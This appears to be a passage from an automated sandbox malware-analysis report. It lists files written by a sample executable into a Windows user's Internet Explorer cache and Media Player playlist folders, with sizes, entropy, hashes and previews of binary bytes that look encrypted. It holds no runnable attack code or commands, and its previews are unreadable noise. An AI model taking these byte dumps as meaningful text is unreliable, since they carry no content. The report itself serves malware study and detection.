....@..e.w...r.(.].......,.@.P...{.6....T..M.0p.A...;.....1...S.Z....q...k....y.6Zq#._..h<0......'.'%Y.I..q.hh..%.W...@q.....=....:..sW..<.a.c..j...SE...`.;..G.zu..9...[.Qk-ih.Y8.y%.Q....h....'s.........\|.o.Q.....k.F...2X.KU..0...\|..z..+\|.....p.onu..h.E.f.x....3.yu.ZHA..b->..t\|J..7.0.....J,Pe..._.....%...D..4..h.Q...X.)..[4^~..q...9.dl.._{...k_./1i..X.e.H$5.d#h...?..8.p.QP...h...E.......".g.%......Pjj.....j,....loL&..)...7.j.z.K...+G`..:1....'9....nQ.......!...cz^.j@.....m..n..h(........&}..{.gt..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9733477977946725
Encrypted:	false
SSDEEP:	192:JN04I3FnbBL5TVTshZbZm8k89oGIu94gYwNgoXflKe:cn9YZg8k0B2gPNgMl3
MD5:	5AAC78CB090F3B0BB4626B74AA862FBC
SHA1:	F0DA866AFF72D8EB81A1FC187BA0052804542E58
SHA-256:	F97BC30AAE3ED5CD67D978B0B318255AD8BDE7EE2DE1232CEEC72F1C892772B3
SHA-512:	2B2E072735D8D9A5C947B39FFE04357B92804984D8335A51F3992558E8963609EDCD9C679D6510BE99B934DE54A513C44E1855EFB92F28A11A307A97BC11025F
Malicious:	false
Preview:	A.....A..vB..w.9Z..x.D...#..CU...~.!1.#..sH..61......h...A.....0j..F.vq.....{...(V.;?......b.t.Yz..d..@..1..3L..1.Y0!.......P...!.\}f...2Yu.....Z.7#.....L.....q.^}.b].../....H!B.. "...N.{r.....a!.....b.n$.-M......s.....d0..%Pz..].YJ..Y....f._..?...+R.n1....~i...N%}..1.i.2....#.$.eO..@v.bp.b..m...9K..........'kx1.3V.. F.),........~....!U..y.5i...E.9.=...=2.....,Wo]V....,....\|..a..wi.0......d0!P..7..&.S:.[1.O...zw+9..J..q.g.....X.t..........:B..>dT.z>......^..fC.v..D...gv.......;..)H+......&^V..].Y.U....p...}.3.E4n..5..s...5Z[..r%<..!....`..U...gy.....C!.....R\|..].l.D .....>?( ..J.......y.u..d.........)5.Q..xv..{J..w..I.J.......Y.7^I.c@.n^"I.I. ..H.16..)Wt../;(......B.lc.]...r?1+~..@H..4...&xR..0.1t.......*Q.j....c.M....w.X....\.M.3..I=.fo#.8;L....5no..n5..p...5./~...^v..h....L..,k\|..{F6...~..v...Uq....?.!.....+..-...$...............;.`...&..(.@... #.;..~J.+-....8.....O.0...c$.....OW....Au..YD\n.y@.........@.....K.[..{...P..\...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009337984071607
Encrypted:	false
SSDEEP:	3072:vssA68bXv1TBFPaz30M46Qfzx8yKst+NHLLvSQ7BHC+T70xidJp40NOT7VRPDkS+:vsNdf19FPazV4DqyXt+JPNxNcxiXJB7
MD5:	B1F55D0EC447B5478AAB7ECE6B1623FE
SHA1:	0545C58BB5A053C852357C2B44FF93156113A55B
SHA-256:	B61E3D2C701DC667E7A5393CCDAA0D6EC0781B367C6C1D3E199D3CC67954B9FE
SHA-512:	8D948CB3BB5121FE2724957F2CA1FB4FB8280DCFE0C7E31CCA70C72282298BFE0DB2B7834D263547854D980B27EDB7297AAE4B9FB2D1FE67EC5E6262D6A51630
Malicious:	false
Preview:	.....u.z.8..q...-].z..~.fV.&o..._+.z..E...+..E{5..1..Z.q..BF..rj....xB4.l....a...OG...=.V..Q....%......2.7._H>.0..z....y.....K.._SU...e.0...."..]r.gs.o..%A..gpHA.5..\.CC.?.^. .}..>.q..Y...a.;.!..u{...b...v e..B..<1.......hT..#..?.0..XQ=...\...3.{.X.Lb..3A..X..;.ge..m...<..K.PGA\|r8...:.w.\..N....w...D~..>.....P,....9.AVt..7\...-..Ly..srs,xK.:..\.C....QD.x....FSI..`. .wI+Aw-G..~.3...`.6...x.8p....f..W0J....=aX\|...v......K.ZN........7.Z...n..W..M....8lF...B..,Q..1O.O'^z..i..s......\|.....z{V..:..m.uM.,.vn&T'..UN..>E$.=o.:..E'.j...\[ea.M ....)21...L.N>....gN..\|.....\|.T..>..W.[..R....`.c7...V...:.M...as.....6?.X....\|.....Sk1?\l.jx...m.j.....+..LS{.v....t..9...ivKt.Xt.?ac....B.\|..B..@.....o.r@..<.9.%...;?.......VJ...hb+..?Lq^..H.$.+.D.fl7F....n\|~.y}A....S.....V7....W........a.'.-n......I......Nv....,..I..q...R.euR...r.PF..GxF+..F.<...n.."...I.#N.)6..H.0.j}..n..9/..+.......aK..R$...e.oA.......G.aN......~?........A..n.N...T...#..^..~.d...D.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081321237604152
Encrypted:	false
SSDEEP:	6144:v3pha8fz5gewLpnlrAQJKjsm+o+64H9woz4q:v3pQY5gewZlrZRjW4H9Oq
MD5:	04068976D280B79B4CBE177177C1E08B
SHA1:	C43BCB3D29EB178C423619EC35D8F6DDD5B2ABCF
SHA-256:	C432C946C6635033FAC87C89150CF690D2E06F93608E7A1A5E491A27A1E40F29
SHA-512:	5B2D39EF98A54B91C156437483D4919ED0801FBEAD931E52073D0889A06D59CECF026C6DE661F8C4027C80100F675C96080269F135E64C3B9C30BEB48BC1798E
Malicious:	false
Preview:	.....2...?).+..'..h.;t...k.L....l`m..I....F...:=.,....j.._...(.+......ej.aV.5..O..)c.....P4.n.#0G.......~........n...r;.E.....m2.W...~w...R.$........?.........W..l,y..N@k...z\....=..F....(M..Y].R.....'.yJo{j..>==."...8.....U..@...]{...s....N~..I...@/..Y..../B ..W..#.^Nz.J{....B"...N..$....T..&...4.l...l.........R.5...nX.&?...rG.<.[\....{@}:#9.k....]..5m..0.+2.....T^Wv...x..u.....5q....E..+9.t....)..b.....M.. /Q...qt5..m.}~A..^..E....G..n@)...EC..X..nZ.A....9....v..0...?....s6.O.{..,.......k..<..=6.cz..8......o../......`$B....X=D.Q:...u...(%f..#,'8.t....\..a.........(.v_.....M....,..2.nP.....Q>>.u.a+)..M.#..Ya..8?.8....O...f[.rP.....b..,.0<.D.]{MG.E.F[.Zk..I...h.....z.$...7..xa;..=Y.F..~=.V.Q..u....&Z..P.e9...u.....[Fw...E.....B.C..i.v.Z..9.[r..z..\.u..t..ml....l._!.l.a..Q...l.OV}(.:... .@.!.OBz.....q..:.j...h...G.....h.o..9...c....O....3.~...........2..\.7.........j......6m.T.T...N...Z#O..Z@.4,N..O.~.q.G+UXQm5..=..*..?E}...C.~..l.\|.~.N..1`zF

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2082820204176423
Encrypted:	false
SSDEEP:	3072:F0hnauxmppL97fgxuhMfKzjb7Vh853+M+tMSvHpMQr9Q4wfqRXqW9Ra:FQnx2RgxuF3H85B4v2QK4wfut9c
MD5:	D90346BA8A8A13B64ECE1D2FF30529D9
SHA1:	3E4E801E2E5A4E50842312D437077A0B00BB9C09
SHA-256:	6CD7FE0A92C1498E334A0F5248D403A4E0306DBA226748437CF2B9C2BED20E58
SHA-512:	319E6D3CEB3E0BD8010503E73571EB9D9310080196AAC53DC73918E6EBD2B23B16085FE0257A857EDCB36B771506B74215BADB5EAFE8EB07293C2E81DF9F1158
Malicious:	false
Preview:	..........g.].....VC..P...Pj..lg.6.Qi...j..6...U:.`u3.a.X.4..4........T[)5..Q.sG...7lX.T..0~..n..`B.0...AX'b.I".h.k.Q"..<.....\.yr._..p.c..=P...ps....U....f...../_.].......+zK..>.}S.....B.p.(.qTgnbg..WR.....A..*..[.zMb.H.v...........Z.N...........P...L(f1....f..a..z..U."/...N..R......A.....ii..u..?....D..76.?86..y..w..l0o.`%<.47pA...e.s....G....B!..13........<Dq.9^..d&C[...."m../_d.!.a..b"..+.+...y@O......'~xT.q....~.s...V.[..@........ ..)..P..y.L..0.......{..P.....s>vH...ckO..j.jg.na..s..V..6.k=...O.0......C.V...&...&..[..^.....q..Q..I.>TZlp.Y>...=...-."..L?..OND>.>...:!...c6l.........Z/..:<G.k..........w...x}.K....IZiE.....t.`.4.L....P..o.9r.]l~b..w...-s6.B.\u.k..3.(.e...ci...`...5i....i].Y...&sEe..3...v....1<..d..T....:3.............I..y.....{9.(!A.I9.....jq.G$9.1f_.^......O..44G..F.&...w.=[.....,R\|j.....9.<...:8H,....S..@[.$..;o0%.?z.b4.....@...e.^...".....%.T....=........-.d<.'.9w.....Pv.GA..\|w....BE[.L.V{@.......V.'....j.j. .:.Vx

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207980656774681
Encrypted:	false
SSDEEP:	3072:4PKtfpvq9qvATKwXx1ms+3vnpHoaFcVTy+POXKQCLekCORSxa:MKtfxq9qI2Gx4s+3PpHOTjWheetORSo
MD5:	0F52A2A4E917E6DB3450C8621BFE7412
SHA1:	E9A892E498A45C9CE1DF7FE7FE1BBB442C23016F
SHA-256:	E5B4D469FD111ED81F4B02EEDD46BD6874069BD5903669DB44468139E49B5BA5
SHA-512:	E27F678EF2C8D4E788C1AE882C806FE71D3120002B78F836CC3A3F591FC2A212CF7E6D0884A8E36D65F345D10FC86D8F1E8E201F5E0C797CB26102A2AD85EDC3
Malicious:	false
Preview:	.....^...A.5....m.R.).x...g....$u.X\|.Pz.......N...U....F>..oz.3.7.. ."..b..T..A\.-0Y{.`...d.[..6.$\|.e.......;.uSRW0...>..{5j.....h..0=%D.f....9...f)..m.ce8.....0".?H...i3f~._.g(...=A.._U.Z,.{...w.q#..Wb...tR.o.C.1b.....".\|.X.".YSG9:l.=...$..L(..Y...Pj.a..!r.X.../...C.....V..~m......{1e.80;YG(...E...F.i0g./.-..I...Q..t.yW.z:(...p..^5.r.'.^.^.a.P...9.B,<..b..'.,..ft..X..l.~.....h._........Rv.2..lOR..,...Is:.>.I....F..\|..\.....~..Jb.../...PaK.....&.H..(.G%,..9e...g.64H.Ca....b}...(Q...E.0.>w...;[.%2..+..x.LK1....n......`..)..R..!._^..../...9.o.C.Z......p..e.+.[..b..N.U..o..._....a...9...+.p.....c.G;.!.X.....v.WJ...4..l.J1bI?,.w..v.y.?..xY.>'}.6.Xd.K.O*.U.....iA(....zL.:.....?...'7...q....kr...7....n.!..f]..Fk.7..s..ct.$e..3..O......2~l..t.I.E.-.+W..?._.c.LB..#.&........C.G....&.OT......&......9...4..A.....:b..Z....!5^u I-g~WS.cY.F....4....h,.x.._s.p[.....gR..]...@......=.X...u.p. jl.U0"PF&...d....v.e..a?e`.AQ>oTA...,".$)....K5A.O."...`.t_vC...V...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.9494243602682415
Encrypted:	false
SSDEEP:	96:g20DI3/n1R3Qskn4m3y1hN7R54f/5gIjmpK+E9LlA9Gz3w:g20U3/nh+4m3A54xjmchA9O3w
MD5:	792032E0AF0D0054FE1AFE4321AB4B92
SHA1:	766F678C78B316DEF29C0BE29918989F5E0D582C
SHA-256:	60ED2CE6AD20F25E6C1109E5F05169B8F1803690CE0DEFD671A7C9DF980B2A49
SHA-512:	6E59BF25DBAC0E4CE07E898D94ACCE90FFEAEEDEB94ED0A1F32D7C73C6A217D039C911906FEAE50240DD8668E0B94E2E93A80F215632657DFEF8E1CFDCF238BA
Malicious:	false
Preview:	<?xml.zl.;.i. ..@..l....j...yx.RH..w...<. .......^Y.i..Q!....T.u..a.....jf.......-.n...g.O.j..!...E..y...>...R-{....}7X.T...b3g...F..$8..../N.o. d..H0..1...GR...`.T..........?...\....~.9A..Tw..),.Q>:Q..22BKWZ~..YN.... V......A..........A$k.P.q...7^.....a...i..@E...j......dX..e...z8........0X..%.`....j/......j'.=Ii.s.d.w...d...OD:...d...L..V.`........kv^`.w..Y.t..u.....7.{mR.........m-c.F.Q...y.....TFx.drX../.+.I5...........d..{..6.../y.Mo.)..C+..@.F...o.6SS=.[{..P.......fS.q..z.{.;.W....U..e.v+:..a[M.}.U....{pM...fk..rG(....'o...k.~..]7...(.q.....&.....:..5....qEb.Hq.V....@d....._....+_)...{J/.U...N....5.4\...b...G.$.i...&.Gp.M..._....v?.s.]aX..0..!..W...S.[#......VK.V}s:%.L.K...S.. .(.^N..$...^...+s(n...?.S.r.\,{.....DKv.#f..!..\|..Nx.9O..G_.~...S.....r.&.]A..$......$9...l.&A./.J/QY.j.8..%..(.2QuI.";A..u...%...W.F.}....4.?..\|n-.....w...(@.....?D....1.m4.D.}.g...?2p.E.............Cv..2.Z!O.e."X.....].f...??..vk..M..Z....v...Y?.C..'^._....u/...dY;.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.97164610760296
Encrypted:	false
SSDEEP:	192:Od8BRQfh55i4Xcj9UePJ97OCypsTxWdeYbF5T:OKXQBi476J9KCy66eYz
MD5:	BA7B905639638F623CD055ED3AFB8A30
SHA1:	2F50336ABE1C5E96BEC7D66AA8DE91377B1A7DA0
SHA-256:	65CCC1B8F3F236A63F986F95047ECC5658034E953A662FE28D376C9BDFCB0366
SHA-512:	2BAE93E5C8810250ED36C7BD18C5C1912522D5BDB1C6FD0B44E114417BA3B1F4D2AFB8A195A74290205AB788F7FE9F797FBB9EBC6384C464CB562228AC41ED55
Malicious:	false
Preview:	10/03..,\|d\|\|.. .n..jV~.'.D.}..]....qN../....a.X.l.4.Z......E.v.m.m$....6?XoE..{x.To\|f..D....G........}...a.,:(X..qwVk...Q.....5F....I.`......-.j..7fJ....E.....SK.?......4.v......I.............mL......f...SX,.C8..f<..O5.).W..4....-.9.1...J..XX...:....E..M....._.mn.L....3cm[.........x...!.9.N.....K.....Q.%..6.....s.....g...s.h....A.^.z..."..tL...-....K?p..-......\|.....2;b..6.Zy\|[h.1..W...g.OGR.$....8.j{.U.v.S...k...9..e:.4?..sj.^;h...:.pgI.........5...H.N.w..N.....Vm..}@l...N..H2.8...QL...{.....].....,.Q0...2u...86..~n .......<M...Li.-1....n....#..m.M9......V.+...L.;O=K.......P....5!....0&.....y.....,&....~...2.?..5(...Q;.O.....G...Q.?^..5.........................r(..."...T^.a.<....j.H..gQ. y..@...bC~;.+.G.!jV...Q..=Q..)8...3../......_..~ .N.j.Q`.U.E...,..~.@.../nF....$2.u....&P...Anf2&.H..._z.c..g0"..P...\............%.goD.L.0s<.......V]Y0...V:...f...z}.X]s.........`.[.I...P,+...f..o9...u.......n.t..T.....Z....-..i1..\8v;fU+.X..7.=..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.748290980148508
Encrypted:	false
SSDEEP:	24:QkT4jynoOfYumbxeYkh40117jupdBS59ft5zp1ObD:VMviWbUN401puO915zUD
MD5:	4AB4E2AD811F9EFDEFE26735C58604E5
SHA1:	E907B1D8BD3FD19E99F1FA7F89FBE88A2487293D
SHA-256:	F261F88803702817F3C7B227B8305D911E1F049B722DD962484A221D10BC7740
SHA-512:	CE1034CBBD00E5C8EC4249850EDB38297837C1B75E2ACDD84E9179344E23493DBCFD5381A05FEF97B33F2E8546B9000F694B3ADC233D3F05C492218F8AE4D3A3
Malicious:	false
Preview:	..1.0...lQ&1#..)d5...{.U.j......'.^.kJf...x... M$e.w..K.:j..a>Q........\..t......8..hRI....z.J1..,jo.~...(...e_.\|.B.Q.j..1..@.1.$-....`.NN.oD....T...S.O.V.+....\..........k>.}.B".m.#$..0g..(9;....?b..`^....I...cdE#....]"[N@EI4Ij@4_..6"..z.fAP. yKpc....z8b..).Po/%.q..d.4...(.5bG5N......,.#.^...H..$..~g.g.6.....hUZ..FrbU./..z..o..-1...a.^x.]X.ekEV.l8A...H[5c.F..\|.. ;.}..]g...L....\|.?U..,.A..~....U....Q.G".V3 .....-[fXq.k.....Z....wjA.......2.../7.t..J..Jc....N.....?v..l.._y.,OX..q...4..d=.1EL4.X..$A..D...o.p....W8.V...`0&.p.1.P.f.....u.c5r..O....'$.......L`....P..=^..1..k..D....5.aue..#.....:.2A..X...'O..Ljqw........~.ySt_........t..C.0....>P.:.......'I1.G&........X.].u\|....Hw..x{..O.-...M..i.\...F.r.z.<...kqQ{._..p.W..`-..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8781692716058265
Encrypted:	false
SSDEEP:	48:beFfNotI+Tnq9jdWAoCYqVmF69aYv8YDreUaD:aZ+inFd16qVm+au8
MD5:	776F6AEF2DADDA99EF5FB4C827A5C3F3
SHA1:	79AFF029751ECCAF45A282523DB222C898B421C9
SHA-256:	A873D9F2368F57F7C8268528249839CDC02172A1A80EF63A08FE9714AC9DD003
SHA-512:	F78ED8D3CB8947ED06E53F035A841F4167B6765BAFE3A1FB9CBB1CA2A9758B88DAB6F0B93EC596CF9B3BA092593F34CD27985A7EFFD035C22A5B033B71CCE1BE
Malicious:	false
Preview:	..1.05.d..E.!.mUJG.(.&-.'pi..5......Ez._C.m.`..n}..n..B..IY..Zr..x..$x......%[.\....n>.9.M.........T...N[.`..EA.x(8]..+....z.F..a.....\|...Q.....`7k.....J .7....8..}.FZ.\_q<.Zu.........;w$G.55}njw._..,MV..Q#p.CQ)..v..q..<w.m..l..K.....-CE...:w.2..IoDa.......D....H.@.K.%A..]D.....ueb...ER:.."....5.Z.0....\|{.c..t...7~...D..A1...yc.4....Za...9....vg.....&<.]^.U.....$8-Z}...\|..).ST..v(... ...f^.(.K....P....~.S.S..E.....1.7Zs.2...W..`B.R...}Z...b.W#x.ny..r8./..r..].NZv(..,h.I3.dkj.W.......6.....w.....H..a.N.Tcbb9K.....O.......W...V....'P?B.F2...f:.P...u...k..ssR$.L..C..VR.w ..]......R...n6..Q..8.. 5......... w.fM..v2..OL\_s>.<.....Y1.._..e../.R..nQ8..q.m..o....^....;.,+?.X..N..?V.R..1..zcYq...."..:$.(.....\|....B3...Ax..l.d.../..g.9.K.0V....J._..W../0.E...:.7_u.PP[.v]..4..(.n..a.........q.>..R..{.B.,m.T...$.........B...#.R.lD.w.i..R.0...4$ETA..6.(K..\|.m..^9.,.Z4..M...cQ.V...m]eb..........r.....M...#.jJ.VLUf.%.....Rx..C/.W..:/.V.a.p..}..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.840168359351485
Encrypted:	false
SSDEEP:	24:cXTKVwrkBeqpEjZPGuIYnxy50B3DiDS+FQAzmuBvl6wWFAIsngzNOZC2yAInuzF0:mTK+r/5Gu5juDNFT3jRWgnghODYniy62
MD5:	9A60FF2D9F7FF1294A8B066BB45DA42E
SHA1:	D910E755657732E7CE2FFDA39743E27A3FABFFC5
SHA-256:	A427616B0919CD1CDD77D03FF610C5E40D6E2489E04D335535A0B921023E3FB9
SHA-512:	04C5545B80B5E0BD4D1DA60EB61019CC4A1EF05923BC643410B4E1150F79CC85329AD518D2FCD928DED54D9B5FCD5786E405E1D1FAA2D07852F08BE2F603FEA4
Malicious:	false
Preview:	<?wpl.....(Q...6.<~....<.Gv".....d.P9".EC.I.r.H.S.......l....nS:...$....>b.).@QK.{........5C.u.5.`..K..#p..V....d.F.Dl/\|i&..j/x`...^....@(.0o".....>\R..J...j.,....D.@..=....a..j........bM....iG..K...7..B6......Z6JY..x.....=]uc$NGg@..E-].......9.I(..P._r.....B.C.....C...8...e.d7..8..\|..$_..Q4\|.~e.1...v..[..Z...s....S)....]VK....@.)...2.S..s@..q..=.I.j..f....9.g..+......_.no...&^.".O....H..^.j.5.r!N.......fh.W.pJ.p} ...[.@.TE$.xOF.;{.\|..e.I.w....@D..H^. .V3 <q,...\|./....B...BM...Z:.....Y.*2.be.}..+.X..p'...$7Y./P.y.....+.2....4.H.+(.\.z..6...`...\.&.l:..v..D`P.....b..R.....#+[..T4...$.....{vM.)t..ki._. ..2..r....$aR..1.?.K._bK..0....tK64 r~K../..c...^VZ..sb...R.W.Bc..I.G...D...t......{P...[E...H9..12..O?..amF..@...X........S.=.C........8.M..N..A....1uM...8....&'C\|.9....!.5.?G..m.2u.J+..x...X...).b.r"J...3.H..o.... !.C.(...v.5@B....8A..7.: .:.15.`......C.S......6.._.u.....i.x.FO.L.{<D..v.`$.D.P.jq$..$c.# t.D..W.h%?!<.!=.g.S......d...z..0Y...lW<

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.850190028134486
Encrypted:	false
SSDEEP:	48:zEJ7wUHfA5vx/66yWrFxQZYU5wq5tnks7BD:4JsUHapvLGLd/Bd
MD5:	0099C70584E069E3E79D6077E2F30E30
SHA1:	1C9D0976EEEFC648DE99E1BD51D1A92891878A3A
SHA-256:	E59FB343614BF2FFCB259ED562180F1C9E3D4D1B143634A89530FBD103159D16
SHA-512:	0D35B8659B0218CE53B1AF39DFB3781CC0D2E8ACE4B3B16DAB3C3FB4302F6E5C5459EA1F2D6E740C4DE3F0B4486B6D468490D755ACA449E63E9FCE90F769DA1B
Malicious:	false
Preview:	<?wpl..... ...E4.}.9.).... Q.C0..m.n...'.Re..6pH...E2...?-.rlQ...G.....!.6Fm'O....%.rr....dX..)..s..L..]/n9..E."....\.JNX.5.......`..D"...N.r..u9.q.2.) H.il.A].L.=3.4..z/.L..7j.@...f.6u.TX.Sag..Fv.x.0..=. m }%....N.'..d;...H...0..\. x^Z.r...33......k...8..H.........=.~PK.vP.......7.Z....4.p$....?.dW.{HP.L...J.....].F......}....P..@....HUGr.].~...]j.........1{O..W..~.q..g\|>.,.C-...gO)...I.Q.'.......1PD..l......cE..rGH1.8..r.3.\.S.a....8;d ....j.w....)q.W.T....G._......Z.5...=.@.(.e..w..2.....8..6.i......v....&.-../.......''.?..d....?...3Gy.o....x...E..$.O./{...:.......}.0\|....+].c.i.o..'.JN..Lz.a...a.z.]:..........<...B>...#.w..1....iVa..3....!.}C...'.H~ .....#...D7&......._a....[....K ...5..>..#&.....E....y.y#g.v.&....P.t?.....e....G./...X....dk.....:..4...b.._...>C.]...5.a..Jk.....0...B....~e..sF.+F.9....dyL..#~..d..Z...BY....07V?n....t....Q...g=YG.q.sZth....n8O..C..a.......P..(&2.k%...#j..5,...O.}.N.ri......Ymv........I..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.880629067907915
Encrypted:	false
SSDEEP:	24:fpp2ngXrn+umFxSDrSYttrGjV1zKGCcE5e1s+LottNPgLx1505ZCdKWgnkk2ObD:fOgr+HFxwojrezt50Lofpax150rZD
MD5:	B35F6BE9A58E4E12885D8BF90AB7A1E8
SHA1:	C2D0871CE9D6254238C15E62E1DD199665936D6E
SHA-256:	AA77E307559A9B55BE7052EB865C0F805D26346E2DB5B5D76D3028C769BA5863
SHA-512:	82D6CD1EB4E31C96DA5681B84D3657613BCCAC210AFE3B83CD4988E6990FB1319C223B6ECDDA7C475C811D4545914CBC4B3517DA5CB316200C032D98BB213FAC
Malicious:	false
Preview:	<?wpl~..0..f...x.o...y,.z.!.....Sz.'...T;i..oa. S.gs....z0~.W.^..O.\|.Oj"xJ[w-..V\\|.-.9%.H<>B.....oi..yD9`...!..?..aT...f,...]@...d.<.>..!>gd.+.,cGK.).J..m_b!l.8.L...+.......e.>....=.{......r...s..\}d..eA..G.9.. .O.h......5=.Cu.x.....E...j..<m....E.4h....5.....j.MF.A.k....\|.U.a....:L.+.....7..]FX.Jt ..2...T\U#nY{Q.a.0~.mr'.8u.n..[...k..b.v..BPchq.....K.D.H.S.XN...B......y.Fs...........U.Y....?Omc.6...z....e...Uf....qR..{..U\...;J.`+k...[....O\|>0..\|..g.A...N.P.r/..M!\....9-.....'.\|2..I.... .T7...Be1.P.7...?.Rfl.J.T...q.;.r\..\|..R.O....!.v.JgL../....$.Zq.{.\..S......_...iJT}.Oa..y,sl."..V[...{.P.>x...l...Y.S...[.TP%)..c.4.Pg.....WD...j..;.D....<...M...C*......C...nKw....C.kJ.-.D.]....F.....\|^~.s^"..)..f.W.l^3]c...i..Qm..!...(......re..N...es ......u.......xe3k...M......<.r.....A....O.3.........Wr.....,P6.W{..t.r...u.%.9.2>.Q\|p.L...r.V...W.. .......Y=Nx0._..o-J.D.NM..T...].u....=1...od.b...Rr.....J.".e.H4n..2.w.z........1...x..LeE..BL.tr

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.86289802401652
Encrypted:	false
SSDEEP:	24:3iiOQrnbMoOvgRZDhe8pMQmFsN63UHuFGPqipH7LBetMLRZ9SIv+NHGObD:SgnMoOmDh9pMVsN63muEhxRFCpD
MD5:	2F94A5EE02B687B7732BFCE85F41FA5A
SHA1:	43F09854297D3EA438348B582657F8688DFA28CA
SHA-256:	EAE3216589BA5E1548F9B845D11EA1E824ABD1A7895803F0952140DB6AC81430
SHA-512:	D2F5C2A29F638FB72E91FFB76C13D4E1B80434203FA558385B164C2B5ED3A3588480D03CD44973B929B20812CF6C92A6DF4AB6E5516A0B90698B720FB7B81248
Malicious:	false
Preview:	<?wpln..cM.8.._o.......>.)a.......4H.....1#{.b\|K.5AI.D.d%..R....8..d...z..V..(=.9&KH#.p.Y9.s...L]E.=....).....F....*.....N.~....D......".....qr...4...j...8.........-..B$+.f....v.#9.........TqB8.Bc..@....k...5.l[l..q.uZ.^.G.uV.!...9.........$8I.....`.,.+Lf.K.0\|.....fU.O,K...%..I..3Q...Y.<...n..,2.Wp......o.).,..........?].4.R...'.L..t0.Y{.....F..kL=....-..!;..5.fy.<.....&.7W.0...(..zxg.U&..i..4h..<..h.z....y.Y7.0.E......'c#l......BO...2..]jT...V..X..).dV...-.\........$F.G...n.h......^.,...'...l._^HF.......c....,@.......~....b.dkhil7$$<4.Lf.$....l:v..;8..hY...&..\l'.'.)...pw~.dwJ......%X#.\|/..r<......'.,F....v.......w.p.w..)$...P.@l.V. ..{..8.&.<>..O,UH....T2Z&..O.f.~.1..l.N..4c........Q.........d...QjK..%..z:b..._...`..~..m~y\2^....'..C...._..E.8..R..-1s...g..m..n..p.x}g.>.......<b.O}..H...d.......>^...}.).....0....3...Q.bru.dL..L.diQ/D..n..@._.\.B.+...)y.d.>: l...7.vV..YS..Q....C^U..p.L6.@.;'G....D<u.........R...D.K.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.825040679194189
Encrypted:	false
SSDEEP:	24:/JlqDH+U590VB/PIQy5PPbcSZWR5ml67iBnYwzLAIUPvTC86ObD:/y+zoP5PjfWR5mQ7iBnYAMIUPLzD
MD5:	DAD4483F442DF141E628AA644171E52E
SHA1:	7849715678C7F1F6112F6D163DFB092EDA64FD6E
SHA-256:	836F4BFB8B14C8F2D56CE3E4A85E65122A00386020641485D8765FBC1A657D3F
SHA-512:	53B4C803124D858C69F54BC51FA26F7B3EDDF1116286EDEAB4F2F59F105227056A4A58B699B2E3A18F2AA4F61948E9FE462B619CD5D562800FA3C30EC056492C
Malicious:	false
